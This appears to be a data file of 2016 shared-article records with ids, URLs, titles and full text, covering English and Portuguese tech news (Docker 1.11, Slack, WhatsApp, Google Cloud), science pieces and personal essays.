1460632316,CONTENT SHARED,6517454521720712627,-2979881261169775358,3794186808815355888,,,,HTML,https://wiki.debian.org/Creating%20signed%20GitHub%20releases,Creating signed GitHub releases - Debian Wiki,"A collection of non-sequential, undifferentiated commit hashes is not a good way to refer to known releases of your software. It is a good idea to explicitly create releases each with a clear, meaningful version string. This makes packaging work much easier and also provides an easy to use mechanism for your users to get a specific version of your software.",en
1460634301,CONTENT SHARED,2598008935363515744,-1443636648652872475,2894687419408149802,,,,HTML,http://gizmodo.com/humans-can-still-do-one-thing-better-than-ai-1769765215,Humans Can Still Do One Thing Better Than AI,"In the end, the spiders always win. Screenshot of the ""Quantum Shooter"" game. Credit: CODER/AU Google's AlphaGo computer may have bested a human in four out of five matches last month, but human beings still excel when it comes to intuitive leaps in problem solving. That's the conclusion of a new paper in Nature by Danish scientists. Blending the two approaches yields the best of both worlds-a marriage of man and machine. Even better: the researchers made this surprising discovery by getting people to play online games . A few years ago, Jacob Sherson, a physicist at Denmark's Aarhus University, was frustrated by the challenges of building a working quantum computer. While listening to his favorite radio program as he biked to work one morning, he heard about the notion of gamification: crowd-sourcing difficult problems by letting members of the public play games designed to come up with the best solutions. ""Why not gamify these complicated problems and ask players all around the world to help us?"" Sherson reasoned-with no advance knowledge of quantum mechanics required. And in 2012, Quantum Moves was born. What is the problem these games are trying to solve? Like anything related to quantum mechanics, it's complicated. As Gizmodo reported previously : Unlike a classical computer, with bits representing 0's and 1's, a quantum computer stores information in ""qubits."" Thanks to the weirdness of quantum mechanics, such a qubit can be in two states at once, both 0 and 1, just like Schroedinger's cat is simultaneously alive and dead until a measurement or observation is made. It's called a superposition of states. There are many proposed methods for building a quantum computer, but most share a common challenge: the quantum information must be shielded from all external noise in the surrounding environment. The slightest bit of interference-a single photon bumping into the atom you've used to encode and store your information, for instance-will cause the entire system to ""decohere,"" such that the all-important superposition that lets your qubit be both 0 and 1 at the same time is lost. That means errors in your calculations. So any quantum computer must execute operations very quickly, because the longer it takes to perform operations, the greater the risk of losing your information. Precisely when this loss is most likely to occur is a tough nut to crack. There is a kind of ""quantum speed limit"" on just how fast data can be manipulated. This in turn dictates how powerful the processing power can be in a quantum computer. But it's incredibly difficult-even for our fastest computer algorithms-to calculate that limit and come up with ways to beat it. That's where Quantum Moves comes in. When users play the games on the Quantum Moves platform, they are actually solving complex optimization problems: they are figuring out the quantum speed limit and coming up with ingenious ways to break that limit. The original version of Quantum Moves (dubbed BringHomeWater) required players to collect and move virtual atoms sitting in quantum ""buckets"" (a bit like the troughs of an egg carton, called quantum wells) from one spot to another as quickly as possible: What makes it challenging is that the atoms don't like to be stationary. In quantum mechanics, atoms can behave both like particles and waves-flip sides of the same quantum coin, so to speak-and here we are dealing with their wave nature. So they kind of ""slosh"" around in the wells, like water in a bucket. Players must figure out how to move them quickly, with minimal sloshing, in order to find optimal solutions-a surprisingly challenging task. Volunteer players completed 500,000 games, and the group took that data and created a ""mind atlas"" to visualize the results: A ""mind atlas."" The red rings show where players' intuition came up the best solutions. Credit: CODER/AU The best solutions were then fed to the computer as a starting condition. The result: aided by human intuition, the computers came up with even better optimal solutions. So maybe scientists are misguided in trying to solve these challenges using brute computing force alone, according to Sherson. Perhaps human beings can still bring something unique to the table : our ability to disregard irrelevant information and intuitively spot patterns. In contrast, computers must take very last tiny detail into account when performing calculations, and this can impede their ability to quickly find the best solution. Sherson admits that the earliest version of the game was a bit lacking in its design; it wasn't particularly fun to play. That's why he's since hired professional game designers to work with his research group to improve the gaming experience, especially for general players with little scientific background. They just launched a new version of the Quantum Moves, including mobile apps for the very first time. You can go here to learn more , and download the games for Mac and for PC . You can play an improved version of the BringHomeWater game, or indulge in a bit of target pracice against hordes of spiders in ""Quantum Shooter."" There is also a suite of mini-games designed to let them study how people play Tetris, for example, in hopes of learning more about the cognitive skills of the strongest players. The games may look quite different on the surface, but all involve the players intuitively finding optimal solutions for quantum computing. You think you're playing a game, but you're actually solving the Schroedinger equation. So maybe it's premature to throw in the towel when it comes to AI. Perhaps the new supercomputer of the future is us-with a little help from our computer AI friends. We may be one step closer to quantum computing that's inherently protected from errors. Physicists... Read more Read more",en
1460635016,CONTENT SHARED,4340103631421550622,-108842214936804958,6223507706739892800,,,,HTML,http://www.wired.com/2016/04/bb-8-data-attack/,20 fun facts about everyone’s new favorite rolling robot,"Rey and Finn are nice, but the little droid BB-8, which started as a sketch by J.J. Abrams, is clearly the breakout from Star Wars: The Force Awakens . But there are still a lot of things we don't know about this rising star. (Maybe it's because we can't understand what he's saying?) Watch the WIRED Data Attack video above to learn 20 fun facts about everyone's new favorite rolling robot.",en
1460635819,CONTENT SHARED,9207286802575546269,-1443636648652872475,2894687419408149802,,,,HTML,http://techcrunch.com/2016/04/13/threaded-messaging-is-coming-to-slack/,Threaded messaging is coming to Slack,"In an interview with Walt Mossberg, Slack CEO Stewart Butterfield said threaded comments - perhaps one of the service's most important missing components - are finally coming. Butterfield told Mossberg that Slack had been using threading internally for months while testing what the best version of the tool would be for the service, which will hopefully come out in the next quarter. Details are, of course, still sparse about how threaded messaging will look like. But it's in Slack's DNA to build simple collaboration services that look more like consumer tools than the standard-issue enterprise ones. Adding threaded comments, an important component in other services like Yammer, Citrix's Podio and Convo, would level the playing field between collaboration services - and give Slack an opportunity to gobble up a much wider part of the field. Slack, as-is, is more like a tool for quickly building work-centric chat rooms with direct messaging integrated into it. Threaded comments would bring the service to another level, helping it become a more important part of the workflow and upending existing services. Slack has attracted a lot of attention in Silicon Valley because of its dead-simple interface and tools. Adding additional tools, of course, carries the risk of feature-creep. But threaded comments are a critical component to other enterprise collaboration tools, and the service is going to need to find ways to usurp those services in order to attract new clients. And that includes attracting clients outside of Silicon Valley - where the company will have to find growth if it wants to become the truly massive business investors are betting on. Slack is already one of the hottest enterprise startups in Silicon Valley, valued at $3.8 billion in its most recent financing round . In April last year, Slack was valued at $2.8 billion as part of its financing round, and the service has 2.7 million users. The promise of Slack is partly to reduce the clutter of email by making it easier to not only message other Slack users directly, but provide an extensive history of conversation that's easily searchable. There's also a whole new ecosystem of third-party applications that are coming to the service in the form of bots and other third-party apps, which the company also plans to invest in , that will populate Slack's own third-party app directory. All these additions, taken together, help the service become more powerful in the context of enterprise - which explains why Slack has attracted so much investor interest. And this would help the service look less like a chat room and more like a true enterprise collaboration service - which could help attract even larger enterprise clients that rely on tools like threaded comments to get work done. As Slack picks up those larger enterprise clients, it can continue to scale its business, and thus invest in new tools and hire additional talent.",en
1460637096,CONTENT SHARED,4247196691613374764,-8020832670974472349,-7973650872041013091,,,,HTML,https://blog.docker.com/2016/04/docker-engine-1-11-runc/,Docker Engine 1.11 with runC: Announcing the general availability of the industry's first OCI-compliant runtime,"We are excited to introduce Docker Engine 1.11, our first release built on runC and containerd . This is the first OCI-compliant runtime and demonstrates the progress since donating our industry-standard container format and runtime under the Linux Foundation in June of last year. Over the last year, Docker has helped advance the work of the OCI to make it more readily available to more users. It started in December 2015 ,when we introduced containerd , a daemon to control runC. This was part of our effort to break out Docker into small reusable components. With this release, Docker Engine is now built on containerd, so everyone who is using Docker is now using OCI. We're proud of the progress we've made on the OCI with the 40+ members to continue the work to standardize container technology. Besides this mind-blowing piece of technological trivia that I'm sure will impress your friends at parties, what difference does it make to you? Well, short answer is: nothing... yet! Nevertheless, let me convince you that this is still something you should be excited about. This is among the biggest technical refactorings the Engine has gone through, and our priority for 1.11 was to get the integration right, without changing the command-line interface or API. However, this lays the technical groundwork for significant user-facing improvements. Stability and performance With the containerd integration comes an impressive cleanup of the Docker codebase and a number of historical bugs being fixed. In general, splitting Docker up into focused independent tools mean more focused maintainers, and ultimately better quality software. Performance-wise, we were extremely careful in making sure 1.11 would not be any slower despite the extra inter-processes communications. We're pleased to say that it is faster at creating containers concurrently than its predecessor, and although we made a deliberate choice of favoring correctness first, you can expect more performance improvements in the future. Creating an ecosystem for container execution backends runC is the first compliant implementation of the Open Containers Runtime specification and the default executor bundled with Docker Engine. Thanks to the open specification, future versions of Engine will allow you to specify different executors, thus enabling the ecosystem of alternative execution backends without any changes to Docker itself. By separating out this piece, an ecosystem partner can build their own compliant executor to the specification, and make it available to the user community at any time - without being dependent on the Engine release schedule or wait to be reviewed and merged into the codebase. What does this mean for you? This gives you choice:the runtime is now pluggable. Following the Docker principle of batteries included but swappable, Docker Engine will ship with runc available as the default with the ability to choose from a variety of container executors that are for specific platforms or have different security and performance features. By separating out the thing that runs containers from the Engine, this opens up new possibilities. As an example, 1.11 is a huge step toward allowing Engine restarts/upgrades without restarting the containers, improving the availability of containers. This is probably one of the most requested features by Docker users. In fact, with this new architecture, you will even be able to restart containerd and your containers will keep running. Read more about containerd in this blog post by Michael Crosby . But wait, there's more! In addition to this huge architectural change, as usual we have also added a bunch of features in Engine, Compose, Swarm, Machine, and Registry. Engine 1.11 DNS round robin load balancing: It's now possible to load balance between containers with Docker's networking. If you give multiple containers the same alias, Docker's service discovery will return the addresses of all of the containers for round-robin DNS. VLAN support (experimental): VLAN support has been added for Docker networks in the experimental channel, so you can integrate better with existing networking infrastructure. IPv6 service discovery: Engine's DNS-based service discovery system can now return AAAA records. Yubikey hardware image signing: A few months ago we added the ability to sign images with hardware Yubikeys in the experimental channel of Docker. This is now available in the stable release. Read more about how it works in this blog post. Labels on networks and volumes: You can now attach arbitrary key/value data to networks and volumes, in the same way you could with containers and images. Better handling of low disk space with device mapper storage: The dm.min_free_space option has been added to make device mapper fail more gracefully when running out of disk space. Consistent status field in docker inspect : This is a little thing, but really handy if you use the Docker API. docker inspect now has a Status field, a single consistent value to define a container's state ( running , stopped , restarting , etc). Read more in the pull request. See the release notes for full details. Compose 1.7 --build option for docker-compose up : This is a shorthand for the common pattern of running docker-compose build and then docker-compose up . Compose doesn't build on every run by default in case your build is slow, but if you've got a quick build, running this every time will ensure your environment is always up to date. docker-compose exec command: Mirroring the docker exec command. See the release notes for full details. Swarm 1.2 Container rescheduling no longer experimental: In the previous version of Swarm, we added support for rescheduling containers when a node dies. This is now considered stable so you can safely use it in production. Better errors when containers can't be scheduled: For example, when a constraint fails, the constraints will be printed out so you can easily see what went wrong. See the release notes for full details. Machine 0.7 In this version of Machine, the Microsoft Azure driver now uses the new Azure APIs and is easier to authenticate. See Azure's blog post for more details. There are also a bunch of other improvements in this release - take a look at the full release notes for details . Registry 2.4 Garbage collection: A tool has been added so system administrators can clean up the data from images that have been deleted by users. For more details, see the garbage collector docs . Faster and more stable S3 driver: The S3 storage driver is now implemented on top of the official Amazon S3 SDK, which has major performance and stability goodness. See the release notes for full details. Download and try out Docker 1.11 The easiest way to try out all of this stuff in development is to download Docker Toolbox . For other platforms, check out the installation instructions . All of this stuff is also available in Docker for Mac and Windows, the new way to use Docker in development, currently in private beta. Sign up to get a chance to try it out early. Learn More about Docker",en
1460637622,CONTENT SHARED,3382511589554885024,8656322302973426874,-6145547091961732021,,,,HTML,http://www.businessinsider.com/facebook-f8-whatsapp-engineering-2016-4,Facebook's WhatsApp does something very different than Google,"Matt Weinberger/Business Insider When WhatsApp was acquired by Facebook for $19 billion , the popular messaging app had about 35 engineers and 450 million users. Two years later, WhatsApp boasts over 900 million users , with 42 billion messages sent every day - that works out to about a million messages every two seconds. But unlike tech titans such as Google, Amazon, or even Facebook itself, WhatsApp is still behaving like a tiny little startup. Despite its massive success and Facebook's bankrolling, WhatsApp now has 57 engineers, total. That small size helps the organization stay nimble, but also requires the whole team to be on the same page, WhatsApp software engineer Rick Reed explained at today's F8 conference. ""The culture really has everything to do with our ability to scale,"" Reed says. Above all else, Reed says, WhatsApp relies on ""focus,"" which he jokingly calls ""the other f-word."" Let Messenger, Google Hangouts, and the like build complex apps, he says, but WhatsApp is focused on just making the simplest, most reliable chat app. ""Our mission is to provide a simple, fast, reliable communications tool without a lot of extra bells and whistles,"" Reed says. Reed calls it ""Just Enough engineering,"" as in, the company putting in just enough effort and resources to stay true to that focus, and it's a philosophy that guides the whole company. 'No-meeting culture' Reed praises WhatsApp's internal ""no-meeting culture,"" which strives (but doesn't always achieve, he readily admits) to eliminate meetings entirely. Instead, WhatsApp staffers would rather use ""various chat programs"" to talk to each other constantly, within small project groups. WhatsApp brings end-to-end encryption to all users ""It really allows us to stay focused on what we're doing and it really contributes to a very quiet office,"" Reed says. Indeed, when you only have 57 engineers, it means that you can't just throw bodies at a problem like the Facebook mothership might, explains Reed. It requires careful planning and allocation of engineering resources and time, he says, but the end result is a team that's purpose-suited towards the task at hand. ""We work really hard to get the right people into the right positions,"" Reed says. 'I'm not here right now' Another tradeoff comes under the hood. Companies like Google have seen their computing infrastructure sprawl out over the years to accommodate new features and massive amounts of data - to the point where they've had to invest millions in automating huge chunks of it , just to keep pace. Meanwhile, WhatsApp prefers to keep its infrastructure as small as possible. With so few engineers on hand, a smaller footprint simply means fewer things that can go wrong. Maybe it requires more human intervention, but it also means higher reliability and a faster response to adding or fixing their code. David Ramos ""We don't invest a lot in automation except in those places where it's totally necessary,"" Reed says. ""We really like having the human in the loop there."" Another major key to staying focused, Reed says, is not spending a lot of time on marketing, press, or speaking at developer conferences. WhatsApp ""avoided as much attention as possible"" before and since the Facebook acquisition, he noted. ""If someone asks, I'm not actually here right now,"" Reed jokes.",en
1460637843,CONTENT SHARED,8314492264050843009,8676130229735483748,7896944299256757698,,,,HTML,http://m.gizmodo.uol.com.br/video-efeito-castanha-do-para/,O efeito castanha-do-pará é mais complicado do que você imagina,"Por: Jennifer Ouellette 14 de abril de 2016 às 9:27 COMPARTILHE Quem já comeu mix de castanhas sabe que, em geral, as castanhas-do-pará costumam ficar por cima, enquanto o amendoim e a castanha de caju acabam no fundo do pacote. Este é o ""efeito castanha-do-pará"", e acontece devido a leis da física bem conhecidas, mas é muito mais complicado do que você imagina. A física Nicole Sharp, do blog Fuck Yeah Fluid Dynamics , produziu seu próprio vídeo sobre esse enigma perene. Ele se trata menos das castanhas em si, e mais sobre a física dos chamados materiais granulares, como pilhas de areia. O que acontece numa lata de mix de nozes depende muito de como elas interagem entre si. Existem dois mecanismos primários no efeito castanha-do-pará. O primeiro é a percolação: ou seja, grãos pequenos migram para o fundo entre os grãos maiores. O segundo é a convecção: os grãos maiores tendem a subir para o topo. Isso parece bastante simples, mas há diversos outros fatores que contribuem para a subida constante das castanhas-do-pará ao topo. É por isso que os físicos ainda estão estudando esses sistemas, para entender melhor como eles funcionam. Como explica Nicole, a gravidade está puxando para baixo todas as castanhas na mistura. Elas também interagem umas com as outras, se empurrando no recipiente e produzindo fricção e energia mecânica perdidas na forma de calor. A quantidade de atrito depende do tamanho e forma das castanhas. Além disso, temos o fator densidade . Se as partículas grandes forem muito menos densas do que as partículas ao redor, eles sobem para o topo e lá ficam. Se elas forem muito mais densas do que as partículas ao redor, elas também sobem para topo e lá ficam. Quando a diferença na densidade em relação às outras partículas é pequena, elas tendem a permanecer misturadas. E toda essa dependência da densidade acaba se as partículas estiverem no vácuo. Parece que o rumo que leva uma castanha-do-pará para o topo depende não só das castanhas vizinhas, e da densidade delas, como também da pressão do ar. É possível inverter este efeito usando um recipiente em forma de cone, no entanto. E como diz Nicole, o efeito é uma vantagem se o seu lanche for pipoca: ao agitar o recipiente, isso fará com que os grãos duros caiam para o fundo, deixando a pipoca branquinha na parte superior. [ Fuck Yeah Fluid Dynamics ] Foto por Melchoir /Wikimedia",pt
1460638274,CONTENT SHARED,5199666313044493096,3891637997717104548,3664397758473282254,,,,HTML,https://cloudplatform.googleblog.com/2016/04/introducing-the-new-Google-Cloud-Load-Balancing-UI.html,Introducing the new Google Cloud Load Balancing UI,"Our user interface (UI) is everything that you see and interact with. While the technologies that power Google Cloud Platform are complex, the UI for using the resources on GCP should be simple and intuitive. We're paying close attention to this in our Cloud Load Balancing service and are excited to introduce a new UI that aims to simplify Cloud Load Balancing configuration. You'll now be able to configure all Cloud Load Balancing flavors through a unified interface. This UI is also designed to seamlessly accommodate new load balancing features that are expected to land in 2016 and beyond, and deliver a simpler, more intuitive user experience. Here's an overview of the new UI, recapping Cloud Load Balancing config basics first. Cloud Load Balancing comes in multiple flavors - HTTP(S), TCP, SSL(TLS) and UDP, and distributes traffic among your configured backends. Your backend configuration consists of instance groups and instances that will service your user traffic. Your frontend configuration is comprised of the anycast IP address to which your users connect along with port, protocol and other related information. Of course, HTTP(S), TCP and UDP load balancers have flavor-specific configuration nuances, but we maintain a similar overall flow for configuring all of these flavors in the new UI. You'll begin your configuration by selecting the flavor of traffic you want to load balance: HTTP(S), TCP or UDP. Note that we'll add support for SSL(TLS) in the new UI once this feature enters beta. To make your selection easier, we present you with a picker page as shown below: Let's say you want to configure HTTP load balancer. Start by clicking the configure button below HTTP(S) Load Balancing. You'll now be presented with the page to configure the load balancer name, backend configuration, host/path rules, which are relevant if you want to perform request routing based on the client request URL, and finally the frontend configuration. Once you're done with the above steps, you can review and finalize your configuration. You can view all your configured load balancers as shown below: If you'd like additional information on any of your configured load balancers, you can simply use the drop-down card as shown below to view these details, including configuration as well as monitoring information. You can edit your configured load balancers any time by clicking the edit button shown above. We've created this UI quickstart video to help you get started. After watching this video, we recommend that you play with the new UI and configure and edit HTTP(S), TCP and UDP load balancers to familiarize yourself with the UI flow and configuration options. You can also send in your feedback using the ""Send feedback"" button as shown below. This is the first release of the new Google Cloud Load Balancing UI. We'll continue to iterate, make improvements and most importantly incorporate your feedback into future UI releases. So take the new UI for a spin and let us know what works well and what you'd love to see next. For those of you who attended GCP NEXT , we hope you enjoyed the opportunity to learn about Google's global network and the software-defined and distributed systems technologies that power Google Cloud Load Balancing. If you missed it, here's the Global Load Balancing talk and our TCP/UDP network load balancing talk at NSDI last month. Happy load balancing and scale on!",en
1460651168,CONTENT SHARED,3662832673570108627,6735372008307093370,-4798323949945887506,,,,HTML,http://exame.abril.com.br/economia/noticias/sul-dos-eua-descobre-consequencias-economicas-da-homofobia,Sul dos EUA descobre consequências econômicas da homofobia | EXAME.com,"São Paulo - Alguns estados americanos estão descobrindo o custo de atacar a população LGBT em pleno 2016. Na Carolina do Norte, tudo começou quando a capital Charlotte passou uma lei incluindo orientação sexual e identidade de gênero na legislação anti-discriminação da cidade. Negócios ficariam proibidos de negar serviço a alguém com base nestes critérios, e transexuais teriam garantido seu direito de usar o banheiro do sexo com o qual se identificam, e não aquele que lhes foi designado no nascimento. O Legislativo estadual reagiu com uma lei que invalida qualquer forma de proteção deste tipo em nível local - discutida, aprovada e assinada pelo governador republicano Pat McCrory no espaço de 24 horas. A reação foi imediata. Perda de negócios Em uma carta pública , mais de 90 executivos afirmaram que a lei ""tornaria mais desafiador para os negócios do estado recrutar e atrair os melhores e mais brilhantes trabalhadores do país, além de diminuir seu apelo como destino de turismo, novos negócios e atividade econômica"". Entre os signatários, presidentes de empresas como Mark Zuckerberg (Facebook), Marissa Mayer (Yahoo!), Brian Moynihan (Bank of America) e Oscar Munoz, da American Airlines, que tem seu segundo maior centro de operações no aeroporto de Charlotte. A empresa de pagamentos online PayPal desistiu de um plano anunciado poucos dias antes de levar para Charlotte seu centro de operações globais - e com ele, 400 empregos e US$ 3,6 milhões em investimento até o final de 2017. Outras empresas fizeram anúncios semelhantes, Bruce Springsteen cancelou um show, a liga de basquete colocou em cheque um jogo previsto para 2017 e outras cidades e estados americanos baniram viagens oficiais não essenciais para a Carolina do Norte. Ontem, foi a vez do Deutsche Bank anunciar o congelamento de uma expansão que abriria 250 empregos em um centro de desenvolvimento de aplicativos em Cary. O centro de convenções de Raleigh disse que 5 eventos já haviam sido cancelados e 16 estavam sob risco ontem o governador Pat McCrory começou a sinalizar que pode aceitar mudanças na lei. Isso revela o abismo no estado entre um interior fortemente religioso e republicano, de um lado, e grandes cidades que votam nos democratas e apoiam a diversidade, de outro. A maior parte das grandes empresas internacionais já entendeu que apoiar os direitos LGBT é uma boa estratégia diante de uma opinião pública que tolera cada vez menos práticas e declarações discriminatórias ( vide o caso Barilla ). Setores como o financeiro, de entretenimento, esporte e tecnologia não estão na linha de frente por acaso. Eles são cobiçados pelos estados por seus empregos bem pagos e qualificados e ao mesmo tempo, precisam atrais jovens (inclusive gays) que levam a diversidade muito a sério. Outros estados Nos Estados Unidos, as chamadas ""leis de liberdade religiosa"" são uma forma dos governos locais satisfazerem o ranço anti-LGBT de eleitores conservadores. Esse movimento ficou ao mesmo tempo mais forte e mais complicado diante do avanço da proteção LGBT em nível federal, marcada pela aprovação do direito ao casamento pela Suprema Corte em junho do ano passado. No Mississippi, uma ""lei de liberdade religiosa"" nos moldes da Carolina do Norte foi aprovada semana passada. Escritores locais como John Grisham protestaram em uma carta e alguns dos maiores empregadores do estado, como a Nissan, também condenaram a lei. No caso do estado da Georgia, uma lei parecida passou no Legislativo mas foi vetada pelo governador Nathan Deal. A maior pressão veio de pesos pesados de Hollywood, como a Disney , que filmam com frequência no estado atraídas pelas leis locais de incentivo. A organização de turismo Visit Indy estimou que o estado de Indiana perdeu US$ 60 milhões em receita com a passagem de uma lei em março de 2015 que permitia negar serviços a cidadãos LGBT (o texto foi posteriormente ""corrigido"" para excluir essa possibilidade). O custo da discriminação No final de 2014, o Banco Mundial fez um evento para apresentar estudos que tentam calcular o impacto econômico da exclusão da população LGBT. Isso começa com o assédio na escola, que diminui o potencial da educação. Depois vem o preconceito no ambiente de trabalho, que leva a menores salários, produtividade e participação na força de trabalho. O preconceito também prejudica o diagnóstico e tratamento do HIV e aumenta as taxas de depressão e suícidio entre as minorias sexuais (isso sem falar na ameaça de violência física). No caso da Índia, o prejuízo fica entre 0,1% e 1,7% do PIB - ou algo entre US$ 1,25 e US$ 7,7 bilhões. A Suprema Corte do país aceitou recentemente rever uma posição de 2013 que criminalizou o sexo gay. A aceitação, por outro lado, traz ganhos. Um estudo do Williams Institute, da Escola de Direito da Universidade da Califórnia em Los Angeles, estimou o impacto do casamento gay nos Estados Unidos. São US$ 2,6 bilhões em gastos, US$ 185 milhões em receita para cidades e estados e 13 mil empregos criados. ""Excluir minorias sexuais não é só uma tragédia humana, mas também um custo econômico que as sociedades impõem para si mesmas"", diz Jim Yong Kim, presidente do Banco Mundial. São Paulo - Com muitas opções de lazer e diversão garantida, alguns bairros pelo mundo são considerados os melhores locais para o público gay, principalmente quando se trata dos turistas. O site AlugueTemporada , representante no Brasil da HomeAway, fez uma seleção dos 10 bairros mais gay-friendly (amigáveis) ao redor do mundo. Castro, em São Francisco, e Ipanema, no Rio de Janeiro , estão entre eles. Veja nas imagens quais são os 10 bairros que melhor acolhem os turistas gays pelo mundo. São Paulo - Os Estados Unidos acabaram de aprovar o casamento gay em território nacional e a nova medida também pode lançar luz para o problema de inclusão destes profissionais nas companhias. Isso porque, segundo um estudo realizado pela empresa de consultoria Santo Caos, 40% dos empregados LGBT já sofreram discriminação no trabalho . Além disso, a pesquisa mostra que 38% das companhias ainda têm restrições para a contratação de homossexuais. Pensando em dados como esses, a Fundação Human Rights Campaign (HCR) lançou o programa de igualdade no ambiente de trabalho por meio do Índice de Igualdade Corporativa (Corporate Equality Index), a fim de avaliar as melhores companhias com políticas contra a discriminação e assédio em funcionários gays, lésbicas, bissexuais e transexuais. O índice classificou cerca de 4.500 empresas e organizações americanas de acordo com suas políticas, benefícios e melhores práticas para LGBTs. Das mais de 300 companhias avaliadas em 100% neste ano, 72 se destacaram como os melhores ambientes de trabalho para empregados transexuais. E o mais surpreendente é que muitas delas são do setor de tecnologia - o qual ainda conta com pouca representação feminina e de outras minorias, como hispânicos e negros. Veja na lista a seguir as empresas com as melhores iniciativas e políticas contra a discriminação de profissionais LGBT:",pt
1460655478,CONTENT SHARED,1729892529360390310,-331066625167168067,-992204844252961518,,,,HTML,https://medium.com/@vilucas/5-motivos-para-n%C3%A3o-escrever-5-motivos-4dbf509e125,5 motivos para não escrever 5 motivos,"5 motivos para não escrever 5 motivos Estou amando o medium.com. Fui apresentado a ele através de uma colega da empresa, Ana Marafiga . Estou lendo ótimos textos, conhecendo grandes e inovadoras ideias e ótimos escritores. Mas uma coisa tem me incomodado bastante. Me parece que 90% dos textos recomendados, que por sinal sempre me pegam em cheio, são relativos à n formas de se fazer alguma coisa. Eis que ouço algo que explica todo o mundo ao redor deste conceito: você sabia que o número de interessados em um texto cresce exponencialmente quando você coloca o assunto em torno de bullets/tópicos? E mais: E acelera ainda mais quando o número de bullets é ímpar? Fiquei incomodado, me sentindo parte de uma estratégia de marketing de sucesso que não traz os benefícios que espero. Decidi então dizer porque acredito que esta estrutura prejudica a leitura e a procura por conteúdo: Incentiva a preguiça Quando as pessoas procuram dicas, ou n formas de se fazer alguma coisa, estão buscando uma simplificação ou redução do seu tempo. "" Alguém já fez o trabalho por mim"" , eu diria. Desta forma, incentiva que as pessoas leiam menos, ao mesmo tempo em que reduz o questionamento se aquela lista realmente representa uma visão pessoal do escritor ou algo consolidado. Quanto mais queijo, menos queijo (paradoxo do queijo suíço) O medium está sendo inundado por conteúdo ""prático"" mas pouco interessante. E quanto mais escritores escreverem n motivos, mais conteúdo sobre n motivos aparecerão, e consequentemente menos textos e artigos relevantes serão sugeridos. Quando o principal objetivo não é atrair leitores Bons textos não precisam ser encontrados. São bons por natureza, e isto faz com que pessoas se interessem pelo conteúdo gerado por seus autores. Quando o objetivo é gerar visualizações, a qualidade deste conteúdo tende a ser mais limitada, exatamente pela necessidade de abstração. E se eu não faço o que está na lista? Quando encontramos textos com n motivos ou n dicas , estamos inclinados a entender que tudo fora desta lista está errado: 5 dicas para cuidar melhor do seu filho; 7 hábitos para ser mais saudável; 9 formas de ficar rico. Influenciar pessoas de que somente o que está listado é o correto passará sempre uma visão parcial e negativa para o leitor sobre o que ele não faz. Temos uma receita mágica... Quando um autor lhe diz que através destes n passos você atinge um objetivo, há uma generalização. Opiniões diferentes, visões diferentes do mundo e da sociedade faz com que cada indivíduo traga consigo seus próprios conceitos. Ao mesmo tempo, quem recebe as dicas pode trazer uma série de condições físicas/psicológicas/socioculturais que façam com que estas dicas não sejam efetivas. Uma fórmula dificilmente atingirá 100% dos casos. Quando criamos uma estrutura de tópicos estamos assumindo um risco: há quem gostará e talvez até amará o trabalho que você desenvolveu, assim como haverá quem o criticará. Um risco que somente lhe cabe aceitar.",pt
1460655527,CONTENT SHARED,7247406924790318523,-331066625167168067,-992204844252961518,,,,HTML,https://medium.com/@vilucas/escolha-o-mais-dif%C3%ADcil-sempre-e7b59cc321d2,Escolha o mais difícil. Sempre.,"Escolha o mais difícil. Sempre. Porque seguir pelo caminho mais difícil te fará melhor Hoje pela manhã deixei minha esposa grávida de 8 meses dormindo enquanto me preparava para sair de casa. É um momento da gravidez em que sinto que minha participação nas tarefas domésticas é essencial para aliviá-la de todo o incômodo causado pela gravidez. Não é natural para mim assumir todas estas tarefas, mas sempre que possível tento fazer algo que possa tirar dela algum esforço. Após o café da manhã, deixei uma xícara e alguns talheres na pia da cozinha. Não era uma grande quantidade de louça, logo, imaginei que ela pudesse dar conta e lavá-las. Esta era a decisão fácil. Todos os dias lidamos com momentos de decisão, seja no trabalho, na vida pessoal, nos esportes, na saúde. A decisão intuitiva será sempre pelo de menor esforço, a que evita o conflito ou seja mais cômoda. O que não percebemos é que escolhendo a decisão fácil, estamos deixando de evoluir não só a nós mesmos, mas ao outro. Tomando como exemplo o mundo corporativo, temos claros e fartos exemplos de momentos em que a decisão fácil é tomada. Se um colega falha na execução de sua atividade, é mais fácil aceitar e deixar que ele resolva por si só, ou mesmo que aceite as consequências que chamá-lo para um feedback de que o caminho seguido não é o mais adequado. O mesmo podemos dizer quanto temos uma notícia ruim para dar a um cliente. Um atraso, um problema na qualidade do serviço prestado, cobrar uma pendência. O mais fácil será sempre esperar que o tempo passe e que ele se lembre de cobrar, caso ele cobre. Se não cobrar, fica por isso mesmo. Sobre uma pendência por parte dele, é mais fácil entender que ele conhece as consequências que alertá-lo sobre os possíveis impactos. Decisões difíceis te fazem evoluir. Te ajudam a resolver. Te ajudam a enfrentar de frente o problema ou desafio, e ouvir da outra pessoa o que ela pensa. É a chance de errar, ouvir e aprender. O debate em termos das consequências do que está sendo falado exercita a empatia, nos coloca no lugar do outro. Ao mesmo tempo, traz a capacidade de se tornar adaptativo e criativo. Opções terão que ser abordadas, e com isso se trabalha sobre um conceito da negociação denominado ganha-ganha . A discussão pode ser dura. Pessoas tem perfis e características diferentes, e isso as fará aceitarem de uma forma diferente o que está em jogo. Mas uma certeza existe: Se há um problema, o quanto antes ele for comunicado, mais tempo se tem para consertá-lo. Mesmo que doa. Há sempre o benefício da transparência, controle, parceria. Se há um problema, o quanto antes ele for comunicado, mais tempo se tem para consertá-lo. Mesmo que doa. De maneira geral, o ponto chave é captar a decisão. Parar de agir no automático e entender que durante o dia estamos de frente a inúmeras decisões, e que em algumas delas teremos a dura missão de pegar o caminho mais difícil. A decisão difícil fará com que você enfrente o medo e apreensão. É uma representação do seu corpo sobre a condição de saída da zona de conforto. Uma situação atípica frente à sua forma de se relacionar, de lidar com situações adversas ou corriqueiras e mesmo discernir entre certo e errado. Colocar a decisão difícil em foco é trabalhar o cérebro de uma forma em que ele não está habituado, tornando-o mais ativo e preparado para enfrentar situações semelhantes no futuro. A primeira decisão difícil a se tomar é aceitar que esta mudança na forma de agir é algo que trará uma mudança profunda, fazendo de você uma pessoa mais capaz de enfrentar problemas e também mais capaz de demonstrar empatia no relacionamento com outras pessoas.",pt
